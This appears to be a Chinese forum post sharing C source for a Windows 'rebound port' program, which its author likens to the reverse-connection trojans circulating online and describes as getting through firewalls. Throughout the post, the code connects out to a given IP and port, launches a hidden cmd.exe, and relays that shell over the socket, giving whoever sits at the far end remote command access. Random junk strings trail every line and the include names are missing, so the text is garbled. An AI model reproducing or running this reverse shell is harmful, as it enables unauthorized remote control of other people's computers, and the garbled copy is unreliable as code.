这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M0DdrL/
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/* ============================== {`BC$V
Rebound port in Windows NT }Og zSnR
By wind,2006/7 IF%^HK@
===============================*/ 3 <RkUmR
#include LJDX6]4n
#include QN:gSS{30
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#pragma comment(lib,"wsock32.lib") 'h_PJ%
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void OutputShell(); VYI%U'9Q
SOCKET sClient; t<sg8U.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $A,fO~
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void main(int argc,char **argv) lG,/tMy
{ IZYq
WSADATA stWsaData; \](IBI:
int nRet; O{rgx~lLJt
SOCKADDR_IN stSaiClient,stSaiServer; B5pMcw
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if(argc != 3) *IUw$|Z6z)
{ <_-&{Pv
printf("Useage:\n\rRebound DestIP DestPort\n"); )vO;=%GQ
return; V*xT5TljS-
} #+p30?r0y
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WSAStartup(MAKEWORD(2,2),&stWsaData); TDXLxoC?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZYZQ?FN
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stSaiClient.sin_family = AF_INET; I
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stSaiClient.sin_port = htons(0); 6*%3O=*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8WK%g0gm
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )nU%}Z
{
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printf("Bind Socket Failed!\n"); q/~U[.C
return; #k5WTcE
} _S5\5[^
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stSaiServer.sin_family = AF_INET; Y ::\;s
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XbdoTriE
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w-\U;&8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LyO ,]
{ J"'2zg1&
printf("Connect Error!"); [?VYxX@
return; ;xaOve;9
} FLdO
OutputShell(); J;4x-R$W
} L+2!Sc,>
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void OutputShell() ~Fv&z'R
{ i|+ EC_^<
char szBuff[1024]; 8`}(N^=}
SECURITY_ATTRIBUTES stSecurityAttributes; Z\6&5r=
OSVERSIONINFO stOsversionInfo; -=,%9r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [?$ZB),L8
STARTUPINFO stStartupInfo; QIQ }ia
char *szShell; iaBy/!i
PROCESS_INFORMATION stProcessInformation; 2MwRjh_
unsigned long lBytesRead; c(Zar&z,E
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Dv?'(.z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B~oSKM%8R
stSecurityAttributes.lpSecurityDescriptor = 0; HVaWv ].
stSecurityAttributes.bInheritHandle = TRUE; 9k =-8@G9
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .CH0PK=l
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;K 38I}
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =t1.j=oC
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d
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stStartupInfo.wShowWindow = SW_HIDE; un0tzz
stStartupInfo.hStdInput = hReadPipe; X||Z>w}v
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]X~;?>#:p
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GetVersionEx(&stOsversionInfo); .QOQqU*2I
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switch(stOsversionInfo.dwPlatformId) (UmoG
{ GczGW4\P'
case 1: yo*c& >
szShell = "command.com"; MN\/F4Io
break; vr56
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default: JG&`l{c9
szShell = "cmd.exe"; oZ95 )'L,
break; opTDW)
} CK[2duf^~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ao)hb4ex
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send(sClient,szMsg,77,0); FrD.{(/~
while(1) p%e!&:!
{ RP'`\||*
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0-cqux2U
if(lBytesRead) KpBh@S
{ -e7|DXj
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Knsb`1"E^6
send(sClient,szBuff,lBytesRead,0); b9%}<w
} Pm; /Ua
else O @fX
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{ ,GEMc a,`
lBytesRead=recv(sClient,szBuff,1024,0); j-|YE?AA
if(lBytesRead<=0) break; GXB4&Q!C
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L(Q v78F
} r4caIV
} d{+H|$L`
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return; ])h={gI
}